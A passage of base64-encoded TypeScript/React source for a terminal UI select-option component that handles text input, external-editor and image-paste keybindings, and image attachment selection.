3RvbS1ydWxlcy9wcmVmZXItdXNlLWtleWJpbmRpbmdzIC0tIFVQIGFycm93IGV4aXQgbm90IGluIEF0dGFjaG1lbnRzIGJpbmRpbmdzXG5pbXBvcnQgeyBCb3gsIFRleHQsIHVzZUlucHV0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHtcbiAgdXNlS2V5YmluZGluZyxcbiAgdXNlS2V5YmluZGluZ3MsXG59IGZyb20gJy4uLy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgdHlwZSB7IFBhc3RlZENvbnRlbnQgfSBmcm9tICcuLi8uLi91dGlscy9jb25maWcuanMnXG5pbXBvcnQgeyBnZXRJbWFnZUZyb21DbGlwYm9hcmQgfSBmcm9tICcuLi8uLi91dGlscy9pbWFnZVBhc3RlLmpzJ1xuaW1wb3J0IHR5cGUgeyBJbWFnZURpbWVuc2lvbnMgfSBmcm9tICcuLi8uLi91dGlscy9pbWFnZVJlc2l6ZXIuanMnXG5pbXBvcnQgeyBDbGlja2FibGVJbWFnZVJlZiB9IGZyb20gJy4uL0NsaWNrYWJsZUltYWdlUmVmLmpzJ1xuaW1wb3J0IHsgQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50IH0gZnJvbSAnLi4vQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50LmpzJ1xuaW1wb3J0IHsgQnlsaW5lIH0gZnJvbSAnLi4vZGVzaWduLXN5c3RlbS9CeWxpbmUuanMnXG5pbXBvcnQgVGV4dElucHV0IGZyb20gJy4uL1RleHRJbnB1dC5qcydcbmltcG9ydCB0eXBlIHsgT3B0aW9uV2l0aERlc2NyaXB0aW9uIH0gZnJvbSAnLi9zZWxlY3QuanMnXG5pbXBvcnQgeyBTZWxlY3RPcHRpb24gfSBmcm9tICcuL3NlbGVjdC1vcHRpb24uanMnXG5cbnR5cGUgUHJvcHM8VD4gPSB7XG4gIG9wdGlvbjogRXh0cmFjdDxPcHRpb25XaXRoRGVzY3JpcHRpb248VD4sIHsgdHlwZTogJ2lucHV0JyB9PlxuICBpc0ZvY3VzZWQ6IGJvb2xlYW5cbiAgaXNTZWxlY3RlZDogYm9vbGVhblxuICBzaG91bGRTaG93RG93bkFycm93OiBib29sZWFuXG4gIHNob3VsZFNob3dVcEFycm93OiBib29sZWFuXG4gIG1heEluZGV4V2lkdGg6IG51bWJlclxuICBpbmRleDogbnVtYmVyXG4gIGlucHV0VmFsdWU6IHN0cmluZ1xuICBvbklucHV0Q2hhbmdlOiAodmFsdWU6IHN0cmluZykgPT4gdm9pZFxuICBvblN1Ym1pdDogKHZhbHVlOiBzdHJpbmcpID0+IHZvaWRcbiAgb25FeGl0PzogKCkgPT4gdm9pZFxuICBsYXlvdXQ6ICdjb21wYWN0JyB8ICdleHBhbmRlZCdcbiAgY2hpbGRyZW4/OiBSZWFjdE5vZGVcbiAgLyoqXG4gICAqIFdoZW4gdHJ1ZSwgc2hvd3MgdGhlIGxhYmVsIGJlZm9yZSB0aGUgaW5wdXQgZmllbGQuXG4gICAqIFdoZW4gZmFsc2UgKGRlZmF1bHQpLCB1c2VzIHRoZSBsYWJlbCBhcyB0aGUgcGxhY2Vob2xkZXIuXG4gICAqL1xuICBzaG93TGFiZWw/OiBib29sZWFuXG4gIC8qKlxuICAgKiBDYWxsYmFjayB0byBvcGVuIGV4dGVybmFsIGVkaXRvciBmb3IgZWRpdGluZyB0aGUgaW5wdXQgdmFsdWUuXG4gICAqIFdoZW4gcHJvdmlkZWQsIGN0cmwrZyB3aWxsIHRyaWdnZXIgdGhpcyBjYWxsYmFjayB3aXRoIHRoZSBjdXJyZW50IHZhbHVlXG4gICAqIGFuZCBhIHNldHRlciBmdW5jdGlvbiB0byB1cGRhdGUgdGhlIGludGVybmFsIHN0YXRlLlxuICAgKi9cbiAgb25PcGVuRWRpdG9yPzogKFxuICAgIGN1cnJlbnRWYWx1ZTogc3RyaW5nLFxuICAgIHNldFZhbHVlOiAodmFsdWU6IHN0cmluZykgPT4gdm9pZCxcbiAgKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBXaGVuIHRydWUsIGF1dG9tYXRpY2FsbHkgcmVzZXQgY3Vyc29yIHRvIGVuZCBvZiBsaW5lIHdoZW46XG4gICAqIC0gT3B0aW9uIGJlY29tZXMgZm9jdXNlZFxuICAgKiAtIElucHV0IHZhbHVlIGNoYW5nZXNcbiAgICogVGhpcyBwcmV2ZW50cyBjdXJzb3IgcG9zaXRpb24gYnVncyB3aGVuIHRoZSBpbnB1dCB2YWx1ZSB1cGRhdGVzIGFzeW5jaHJvbm91c2x5LlxuICAgKi9cbiAgcmVzZXRDdXJzb3JPblVwZGF0ZT86IGJvb2xlYW5cbiAgLyoqXG4gICAqIE9wdGlvbmFsIGNhbGxiYWNrIHdoZW4gYW4gaW1hZ2UgaXMgcGFzdGVkIGludG8gdGhlIGlucHV0LlxuICAgKi9cbiAgb25JbWFnZVBhc3RlPzogKFxuICAgIGJhc2U2NEltYWdlOiBzdHJpbmcsXG4gICAgbWVkaWFUeXBlPzogc3RyaW5nLFxuICAgIGZpbGVuYW1lPzogc3RyaW5nLFxuICAgIGRpbWVuc2lvbnM/OiBJbWFnZURpbWVuc2lvbnMsXG4gICAgc291cmNlUGF0aD86IHN0cmluZyxcbiAgKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBQYXN0ZWQgY29udGVudCB0byBkaXNwbGF5IGlubGluZSBhYm92ZSB0aGUgaW5wdXQgd2hlbiBmb2N1c2VkLlxuICAgKi9cbiAgcGFzdGVkQ29udGVudHM/OiBSZWNvcmQ8bnVtYmVyLCBQYXN0ZWRDb250ZW50PlxuICAvKipcbiAgICogQ2FsbGJhY2sgdG8gcmVtb3ZlIGEgcGFzdGVkIGltYWdlIGJ5IGl0cyBJRC5cbiAgICovXG4gIG9uUmVtb3ZlSW1hZ2U/OiAoaWQ6IG51bWJlcikgPT4gdm9pZFxuICAvKipcbiAgICogV2hldGhlciBpbWFnZSBzZWxlY3Rpb24gbW9kZSBpcyBhY3RpdmUuXG4gICAqL1xuICBpbWFnZXNTZWxlY3RlZD86IGJvb2xlYW5cbiAgLyoqXG4gICAqIEN1cnJlbnRseSBzZWxlY3RlZCBpbWFnZSBpbmRleCB3aXRoaW4gdGhlIGltYWdlIGF0dGFjaG1lbnRzIGFycmF5LlxuICAgKi9cbiAgc2VsZWN0ZWRJbWFnZUluZGV4PzogbnVtYmVyXG4gIC8qKlxuICAgKiBDYWxsYmFjayB0byBzZXQgaW1hZ2Ugc2VsZWN0aW9uIG1vZGUgb24vb2ZmLlxuICAgKi9cbiAgb25JbWFnZXNTZWxlY3RlZENoYW5nZT86IChzZWxlY3RlZDogYm9vbGVhbikgPT4gdm9pZFxuICAvKipcbiAgICogQ2FsbGJhY2sgdG8gY2hhbmdlIHRoZSBzZWxlY3RlZCBpbWFnZSBpbmRleC5cbiAgICovXG4gIG9uU2VsZWN0ZWRJbWFnZUluZGV4Q2hhbmdlPzogKGluZGV4OiBudW1iZXIpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFNlbGVjdElucHV0T3B0aW9uPFQ+KHtcbiAgb3B0aW9uLFxuICBpc0ZvY3VzZWQsXG4gIGlzU2VsZWN0ZWQsXG4gIHNob3VsZFNob3dEb3duQXJyb3csXG4gIHNob3VsZFNob3dVcEFycm93LFxuICBtYXhJbmRleFdpZHRoLFxuICBpbmRleCxcbiAgaW5wdXRWYWx1ZSxcbiAgb25JbnB1dENoYW5nZSxcbiAgb25TdWJtaXQsXG4gIG9uRXhpdCxcbiAgbGF5b3V0LFxuICBjaGlsZHJlbixcbiAgc2hvd0xhYmVsOiBzaG93TGFiZWxQcm9wID0gZmFsc2UsXG4gIG9uT3BlbkVkaXRvcixcbiAgcmVzZXRDdXJzb3JPblVwZGF0ZSA9IGZhbHNlLFxuICBvbkltYWdlUGFzdGUsXG4gIHBhc3RlZENvbnRlbnRzLFxuICBvblJlbW92ZUltYWdlLFxuICBpbWFnZXNTZWxlY3RlZCxcbiAgc2VsZWN0ZWRJbWFnZUluZGV4ID0gMCxcbiAgb25JbWFnZXNTZWxlY3RlZENoYW5nZSxcbiAgb25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2UsXG59OiBQcm9wczxUPik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGltYWdlQXR0YWNobWVudHMgPSBwYXN0ZWRDb250ZW50c1xuICAgID8gT2JqZWN0LnZhbHVlcyhwYXN0ZWRDb250ZW50cykuZmlsdGVyKGMgPT4gYy50eXBlID09PSAnaW1hZ2UnKVxuICAgIDogW11cblxuICAvLyBBbGxvdyBpbmRpdmlkdWFsIG9wdGlvbnMgdG8gZm9yY2Ugc2hvd2luZyB0aGUgbGFiZWwgdmlhIHNob3dMYWJlbFdpdGhWYWx1ZVxuICBjb25zdCBzaG93TGFiZWwgPSBzaG93TGFiZWxQcm9wIHx8IG9wdGlvbi5zaG93TGFiZWxXaXRoVmFsdWUgPT09IHRydWVcbiAgY29uc3QgW2N1cnNvck9mZnNldCwgc2V0Q3Vyc29yT2Zmc2V0XSA9IHVzZVN0YXRlKGlucHV0VmFsdWUubGVuZ3RoKVxuXG4gIC8vIFRyYWNrIHdoZXRoZXIgdGhlIGxhdGVzdCBpbnB1dFZhbHVlIGNoYW5nZSB3YXMgZnJvbSB1c2VyIHR5cGluZy9wYXN0aW5nLFxuICAvLyBzbyB3ZSBjYW4gc2tpcCByZXNldHRpbmcgY3Vyc29yIHRvIGVuZCBvbiB1c2VyLWluaXRpYXRlZCBjaGFuZ2VzLlxuICBjb25zdCBpc1VzZXJFZGl0aW5nID0gdXNlUmVmKGZhbHNlKVxuXG4gIC8vIFJlc2V0IGN1cnNvciB0byBlbmQgb2YgbGluZSB3aGVuOlxuICAvLyAxLiBPcHRpb24gYmVjb21lcyBmb2N1c2VkICh1c2VyIG5hdmlnYXRlcyB0byBpdClcbiAgLy8gMi4gSW5wdXQgdmFsdWUgY2hhbmdlcyBleHRlcm5hbGx5IChlLmcuLCBhc3luYyBjbGFzc2lmaWVyIGRlc2NyaXB0aW9uIHVwZGF0ZXMpXG4gIC8vIFNraXAgcmVzZXQgd2hlbiB0aGUgY2hhbmdlIHdhcyBmcm9tIHVzZXIgdHlwaW5nICh3aGljaCBzZXRzIGlzVXNlckVkaXRpbmcgcmVmKVxuICAvLyBPbmx5IGVuYWJsZWQgd2hlbiByZXNldEN1cnNvck9uVXBkYXRlIHByb3AgaXMgdHJ1ZVxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmIChyZXNldEN1cnNvck9uVXBkYXRlICYmIGlzRm9jdXNlZCkge1xuICAgICAgaWYgKGlzVXNlckVkaXRpbmcuY3VycmVudCkge1xuICAgICAgICBpc1VzZXJFZGl0aW5nLmN1cnJlbnQgPSBmYWxzZVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgc2V0Q3Vyc29yT2Zmc2V0KGlucHV0VmFsdWUubGVuZ3RoKVxuICAgICAgfVxuICAgIH1cbiAgfSwgW3Jlc2V0Q3Vyc29yT25VcGRhdGUsIGlzRm9jdXNlZCwgaW5wdXRWYWx1ZV0pXG5cbiAgLy8gY3RybCtnIHRvIG9wZW4gZXh0ZXJuYWwgZWRpdG9yIChyZXVzZXMgY2hhdDpleHRlcm5hbEVkaXRvciBrZXliaW5kaW5nKVxuICB1c2VLZXliaW5kaW5nKFxuICAgICdjaGF0OmV4dGVybmFsRWRpdG9yJyxcbiAgICAoKSA9PiB7XG4gICAgICBvbk9wZW5FZGl0b3I/LihpbnB1dFZhbHVlLCBvbklucHV0Q2hhbmdlKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ2hhdCcsIGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFvbk9wZW5FZGl0b3IgfSxcbiAgKVxuXG4gIC8vIGN0cmwrdiB0byBwYXN0ZSBpbWFnZSBmcm9tIGNsaXBib2FyZCAoc2FtZSBhcyBQcm9tcHRJbnB1dClcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnY2hhdDppbWFnZVBhc3RlJyxcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoIW9uSW1hZ2VQYXN0ZSkgcmV0dXJuXG4gICAgICB2b2lkIGdldEltYWdlRnJvbUNsaXBib2FyZCgpLnRoZW4oaW1hZ2VEYXRhID0+IHtcbiAgICAgICAgaWYgKGltYWdlRGF0YSkge1xuICAgICAgICAgIG9uSW1hZ2VQYXN0ZShcbiAgICAgICAgICAgIGltYWdlRGF0YS5iYXNlNjQsXG4gICAgICAgICAgICBpbWFnZURhdGEubWVkaWFUeXBlLFxuICAgICAgICAgICAgdW5kZWZpbmVkLFxuICAgICAgICAgICAgaW1hZ2VEYXRhLmRpbWVuc2lvbnMsXG4gICAgICAgICAgKVxuICAgICAgICB9XG4gICAgICB9KVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ2hhdCcsIGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFvbkltYWdlUGFzdGUgfSxcbiAgKVxuXG4gIC8vIEJhY2tzcGFjZSB3aXRoIGVtcHR5IGlucHV0IHJlbW92ZXMgdGhlIGxhc3QgcGFzdGVkIGltYWdlIChub24taW1hZ2Utc2VsZWN0aW9uIG1vZGUpXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2F0dGFjaG1lbnRzOnJlbW92ZScsXG4gICAgKCkgPT4ge1xuICAgICAgaWYgKGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMCAmJiBvblJlbW92ZUltYWdlKSB7XG4gICAgICAgIG9uUmVtb3ZlSW1hZ2UoaW1hZ2VBdHRhY2htZW50cy5hdCgtMSkhLmlkKVxuICAgICAgfVxuICAgIH0sXG4gICAge1xuICAgICAgY29udGV4dDogJ0F0dGFjaG1lbnRzJyxcbiAgICAgIGlzQWN0aXZlOlxuICAgICAgICBpc0ZvY3VzZWQgJiZcbiAgICAgICAgIWltYWdlc1NlbGVjdGVkICYmXG4gICAgICAgIGlucHV0VmFsdWUgPT09ICcnICYmXG4gICAgICAgIGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMCAmJlxuICAgICAgICAhIW9uUmVtb3ZlSW1hZ2UsXG4gICAgfSxcbiAgKVxuXG4gIC8vIEltYWdlIHNlbGVjdGlvbiBtb2RlIGtleWJpbmRpbmdzIOKAlCByZXVzZXMgZXhpc3RpbmcgQXR0YWNobWVudHMgYWN0aW9uc1xuICB1c2VLZXliaW5kaW5ncyhcbiAgICB7XG4gICAgICAnYXR0YWNobWVudHM6bmV4dCc6ICgpID0+IHtcbiAgICAgICAgaWYgKGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMSkge1xuICAgICAgICAgIG9uU2VsZWN0ZWRJbWFnZUluZGV4Q2hhbmdlPy4oXG4gICAgICAgICAgICAoc2VsZWN0ZWRJbWFnZUluZGV4ICsgMSkgJSBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCxcbiAgICAgICAgICApXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnYXR0YWNobWVudHM6cHJldmlvdXMnOiAoKSA9PiB7XG4gICAgICAgIGlmIChpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCA+IDEpIHtcbiAgICAgICAgICBvblNlbGVjdGVkSW1hZ2VJbmRleENoYW5nZT8uKFxuICAgICAgICAgICAgKHNlbGVjdGVkSW1hZ2VJbmRleCAtIDEgKyBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCkgJVxuICAgICAgICAgICAgICBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCxcbiAgICAgICAgICApXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnYXR0YWNobWVudHM6cmVtb3ZlJzogKCkgPT4ge1xuICAgICAgICBjb25zdCBpbWcgPSBpbWFnZUF0dGFjaG1lbnRzW3NlbGVjdGVkSW1hZ2VJbmRleF1cbiAgICAgICAgaWYgKGltZyAmJiBvblJlbW92ZUltYWdlKSB7XG4gICAgICAgICAgb25SZW1vdmVJbWFnZShpbWcuaWQpXG4gICAgICAgICAgLy8gSWYgbm8gaW1hZ2VzIGxlZnQgYWZ0ZXIgcmVtb3ZhbCwgZXhpdCBpbWFnZSBzZWxlY3Rpb25cbiAgICAgICAgICBpZiAoaW1hZ2VBdHRhY2htZW50cy5sZW5ndGggPD0gMSkge1xuICAgICAgICAgICAgb25JbWFnZXNTZWxlY3RlZENoYW5nZT8uKGZhbHNlKVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAvLyBBZGp1c3QgaW5kZXggaWYgd2UgZGVsZXRlZCB0aGUgbGFzdCBpbWFnZVxuICAgICAgICAgICAgb25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2U/LihcbiAgICAgICAgICAgICAgTWF0aC5taW4oc2VsZWN0ZWRJbWFnZUluZGV4LCBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCAtIDIpLFxuICAgICAgICAgICAgKVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgICdhdHRhY2htZW50czpleGl0JzogKCkgPT4ge1xuICAgICAgICBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlPy4oZmFsc2UpXG4gICAgICB9LFxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQXR0YWNobWVudHMnLCBpc0FjdGl2ZTogaXNGb2N1c2VkICYmICEhaW1hZ2VzU2VsZWN0ZWQgfSxcbiAgKVxuXG4gIC8vIFVQIGFycm93IGV4aXRzIGltYWdlIHNlbGVjdGlvbiBtb2RlIChVUCBpc24ndCBib3VuZCB0byBhdHRhY2htZW50czpleGl0KVxuICB1c2VJbnB1dChcbiAgICAoX2lucHV0LCBrZXkpID0+IHtcbiAgICAgIGlmIChrZXkudXBBcnJvdykge1xuICAgICAgICBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlPy4oZmFsc2UpXG4gICAgICB9XG4gICAgfSxcbiAgICB7IGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFpbWFnZXNTZWxlY3RlZCB9LFxuICApXG5cbiAgLy8gRXhpdCBpbWFnZSBtb2RlIHdoZW4gb3B0aW9uIGxvc2VzIGZvY3VzXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKCFpc0ZvY3VzZWQgJiYgaW1hZ2VzU2VsZWN0ZWQpIHtcbiAgICAgIG9uSW1hZ2VzU2VsZWN0ZWRDaGFuZ2U/LihmYWxzZSlcbiAgICB9XG4gIH0sIFtpc0ZvY3VzZWQsIGltYWdlc1NlbGVjdGVkLCBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlXSlcblxuICBjb25zdCBkZXNjcmlwdGlvblBhZGRpbmdMZWZ0ID1cbiAgICBsYXlvdXQgPT09ICdleHBhbmRlZCcgPyBtYXhJbmRleFdpZHRoICsgMyA6IG1heEluZGV4V2lkdGggKyA0XG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBmbGV4U2hyaW5rPXswfT5cbiAgICAgIDxTZWxlY3RPcHRpb25cbiAgICAgICAgaXNGb2N1c2VkPXtpc0ZvY3VzZWR9XG4gICAgICAgIGlzU2VsZWN0ZWQ9e2lzU2VsZWN0ZWR9XG4gICAgICAgIHNob3VsZFNob3dEb3duQXJyb3c9e3Nob3VsZFNob3dEb3duQXJyb3d9XG4gICAgICAgIHNob3VsZFNob3dVcEFycm93PXtzaG91bGRTaG93VXBBcnJvd31cbiAgICAgICAgZGVjbGFyZUN1cnNvcj17ZmFsc2V9XG4gICAgICA+XG4gICAgICAgIDxCb3hcbiAgICAgICAgICBmbGV4RGlyZWN0aW9uPVwicm93XCJcbiAgICAgICAgICBmbGV4U2hyaW5rPXtsYXlvdXQgPT09ICdjb21wYWN0JyA/IDAgOiB1bmRlZmluZWR9XG4gICAgICAgID5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj57YCR7aW5kZXh9LmAucGFkRW5kKG1heEluZGV4V2lkdGggKyAyKX08L1RleHQ+XG4gICAgICAgICAge2NoaWxkcmVufVxuICAgICAgICAgIHtzaG93TGFiZWwgPyAoXG4gICAgICAgICAgICA8PlxuICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17aXNGb2N1c2VkID8gJ3N1Z2dlc3Rpb24nIDogdW5kZWZpbmVkfT5cbiAgICAgICAgICAgICAgICB7b3B0aW9uLmxhYmVsfVxuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgIHtpc0ZvY3VzZWQgPyAoXG4gICAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VnZ2VzdGlvblwiPlxuICAgICAgICAgICAgICAgICAgICB7b3B0aW9uLmxhYmVsVmFsdWVTZXBhcmF0b3IgPz8gJywgJ31cbiAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgIDxUZXh0SW5wdXRcbiAgICAgICAgICAgICAgICAgICAgdmFsdWU9e2lucHV0VmFsdWV9XG4gICAgICAgICAgICAgICAgICAgIG9uQ2hhbmdlPXt2YWx1ZSA9PiB7XG4gICAgICAgICAgICAgICAgICAgICAgaXNVc2VyRWRpdGluZy5jdXJyZW50ID0gdHJ1ZVxuICAgICAgICAgICAgICAgICAgICAgIG9uSW5wdXRDaGFuZ2UodmFsdWUpXG4gICAgICAgICAgICAgICAgICAgICAgb3B0aW9uLm9uQ2hhbmdlKHZhbHVlKVxuICAgICAgICAgICAgICAgICAgICB9fVxuICAgICAgICAgICAgICAgICAgICBvblN1Ym1pdD17b25TdWJtaXR9XG4gICAgICAgICAgICAgICAgICAgIG9uRXhpdD17b25FeGl0fVxuICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj17b3B0aW9uLnBsYWNlaG9sZGVyfVxuICAgICAgICAgICAgICAgICAgICBmb2N1cz17IWltYWdlc1NlbGVjdGVkfVxuICAgICAgICAgICAgICAgICAgICBzaG93Q3Vyc29yPXt0cnVlfVxuICAgICAgICAgICAgICAgICAgICBtdWx0aWxpbmU9e3RydWV9XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvck9mZnNldD17Y3Vyc29yT2Zmc2V0fVxuICAgICAgICAgICAgICAgICAgICBvbkNoYW5nZUN1cnNvck9mZnNldD17c2V0Q3Vyc29yT2Zmc2V0fVxuICAgICAgICAgICAgICAgICAgICBjb2x1bW5zPXs4MH1cbiAgICAgICAgICAgICAgICAgICAgb25JbWFnZVBhc3RlPXtvbkltYWdlUGFzdGV9XG4gICAgICAgICAgICAgICAgICAgIG9uUGFzdGU9eyhwYXN0ZWRUZXh0OiBzdHJpbmcpID0+IHtcbiAgICAgICAgICAgICAgICAgICAgICBpc1VzZXJFZGl0aW5nLmN1cnJlbnQgPSB0cnVlXG4gICAgICAgICAgICAgICAgICAgICAgY29uc3QgYmVmb3JlID0gaW5wdXRWYWx1ZS5zbGljZSgwLCBjdXJzb3JPZmZzZXQpXG4gICAgICAgICAgICAgICAgICAgICAgY29uc3QgYWZ0ZXIgPSBpbnB1dFZhbHVlLnNsaWNlKGN1cnNvck9mZnNldClcbiAgICAgICAgICAgICAgICAgICAgICBjb25zdCBuZXdWYWx1ZSA9IGJlZm9yZSArIHBhc3RlZFRleHQgKyBhZnRlclxuICAgICAgICAgICAgICAgICAgICAgIG9uSW5wdXRDaGFuZ2UobmV3VmFsdWUpXG4gICAgICAgICAgICAgICAgICAgICAgb3B0aW9uLm9uQ2hhbmdlKG5ld1ZhbHVlKVxuICAgICAgICAgICAgICAgICAgICAgIHNldEN1cnNvck9mZnNldChiZWZvcmUubGVuZ3RoICsgcGFzdGVkVGV4dC5sZW5ndGgpXG4gICAgICAgICAgICAgICAgICAgIH19XG4gICAgICAgICAgICAgICAgICAvPlxuICAgICAgICAgICAgICAgIDwvPlxuICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgIGlucHV0VmFsdWUgJiYgKFxuICAgICAgICAgICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICAgICAgICAgIHtvcHRpb24ubGFiZWxWYWx1ZVNlcGFyYXRvciA/PyAnLCAnfVxuICAgICAgICAgICAgICAgICAgICB7aW5wdXRWYWx1ZX1cbiAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICl9XG4gICAgICAgICAgICA8Lz5cbiAgICAgICAgICApIDogaXNGb2N1c2VkID8gKFxuICAgICAgICAgICAgPFRleHRJbnB1dFxuICAgICAgICAgICAgICB2YWx1ZT17aW5wdXRWYWx1ZX1cbiAgICAgICAgICAgICAgb25DaGFuZ2U9e3ZhbHVlID0+IHtcbiAgICAgICAgICAgICAgICBpc1VzZXJFZGl0aW5nLmN1cnJlbnQgPSB0cnVlXG4gICAgICAgICAgICAgICAgb25JbnB1dENoYW5nZSh2YWx1ZSlcbiAgICAgICAgICAgICAgICBvcHRpb24ub25DaGFuZ2UodmFsdWUpXG4gICAgICAgICAgICAgIH19XG4gICAgICAgICAgICAgIG9uU3VibWl0PXtvblN1Ym1pdH1cbiAgICAgICAgICAgICAgb25FeGl0PXtvbkV4aXR9XG4gICAgICAgICAgICAgIHBsYWNlaG9sZGVyPXtcbiAgICAgICAgICAgICAgICBvcHRpb24ucGxhY2Vob2xkZXIgfHxcbiAgICAgICAgICAgICAgICAodHlwZW9mIG9wdGlvbi5sYWJlbCA9PT0gJ3N0cmluZycgPyBvcHRpb24ubGFiZWwgOiB1bmRlZmluZWQpXG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgZm9jdXM9eyFpbWFnZXNTZWxlY3RlZH1cbiAgICAgICAgICAgICAgc2hvd0N1cnNvcj17dHJ1ZX1cbiAgICAgICAgICAgICAgbXVsdGlsaW5lPXt0cnVlfVxuICAgICAgICAgICAgICBjdXJzb3JPZmZzZXQ9e2N1cnNvck9mZnNldH1cbiAgICAgICAgICAgICAgb25DaGFuZ2VDdXJzb3JPZmZzZXQ9e3NldEN1cnNvck9mZnNldH1cbiAgICAgICAgICAgICAgY29sdW1ucz17ODB9XG4gICAgICAgICAgICAgIG9uSW1hZ2VQYXN0ZT17b25JbWFnZVBhc3RlfVxuICAgICAgICAgICAgICBvblBhc3RlPXsocGFzdGVkVGV4dDogc3RyaW5nKSA9PiB7XG4gICAgICAgICAgICAgICAgaXNVc2VyRWRpdGluZy5jdXJyZW50ID0gdHJ1ZVxuICAgICAgICAgICAgICAgIGNvbnN0IGJlZm9yZSA9IGlucHV0VmFsdWUuc2xpY2UoMCwgY3Vyc29yT2Zmc2V0KVxuICAgICAgICAgICAgICAgIGNvbnN0IGFmdGVyID0gaW5wdXRWYWx1ZS5zbGljZShjdXJzb3JPZmZzZXQpXG4gICAgICAgICAgICAgICAgY29uc3QgbmV3VmFsdWUgPSBiZWZvcmUgKyBwYXN0ZWRUZXh0ICsgYWZ0ZXJcbiAgICAgICAgICAgICAgICBvbklucHV0Q2hhbmdlKG5ld1ZhbHVlKVxuICAgICAgICAgICAgICAgIG9wdGlvbi5vbkNoYW5nZShuZXdWYWx1ZSlcbiAgICAgICAgICAgICAgICBzZXRDdXJzb3JPZmZzZXQoYmVmb3JlLmxlbmd0aCArIHBhc3RlZFRleHQubGVuZ3RoKVxuICAgICAgICAgICAgICB9fVxuICAgICAgICAgICAgLz5cbiAgICAgICAgICApIDogKFxuICAgICAgICAgICAgPFRleHQgY29sb3I9e2lucHV0VmFsdWUgPyB1bmRlZmluZWQgOiAnaW5hY3RpdmUnfT5cbiAgICAgICAgICAgICAge2lucHV0VmFsdWUgfHwgb3B0aW9uLnBsYWNlaG9sZGVyIHx8IG9wdGlvbi5sYWJlbH1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICApfVxuICAgICAgICA8L0JveD5cbiAgICAgIDwvU2VsZWN0T3B0aW9uPlxuICAgICAge29wdGlvbi5kZXNjcmlwdGlvbiAmJiAoXG4gICAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9e2Rlc2NyaXB0aW9uUGFkZGluZ0xlZnR9PlxuICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICBkaW1Db2xvcj17b3B0aW9uLmRpbURlc2NyaXB0aW9uICE9PSBmYWxzZX1cbiAgICAgICAgICAgIGNvbG9yPXtcbiAgICAgICAgICAgICAgaXNTZWxlY3RlZCA/ICdzdWNjZXNzJyA6IGlzRm9jdXNlZCA/ICdzdWdnZXN0aW9uJyA6IHVuZGVmaW5lZFxuICAgICAgICAgICAgfVxuICAgICAgICAgID5cbiAgICAgICAgICAgIHtvcHRpb24uZGVzY3JpcHRpb259XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICl9XG4gICAgICB7aW1hZ2VBdHRhY2htZW50cy5sZW5ndGggPiAwICYmIChcbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgZ2FwPXsxfSBwYWRkaW5nTGVmdD17ZGVzY3JpcHRpb25QYWRkaW5nTGVmdH0+XG4gICAgICAgICAge2ltYWdlQXR0YWNobWVudHMubWFwKChpbWcsIGlkeCkgPT4gKFxuICAgICAgICAgICAgPENsaWNrYWJsZUltYWdlUmVmXG4gICAgICAgICAgICAgIGtleT17aW1nLmlkfVxuICAgICAgICAgICAgICBpbWFnZUlkPXtpbWcuaWR9XG4gICAgICAgICAgICAgIGlzU2VsZWN0ZWQ9eyEhaW1hZ2VzU2VsZWN0ZWQgJiYgaWR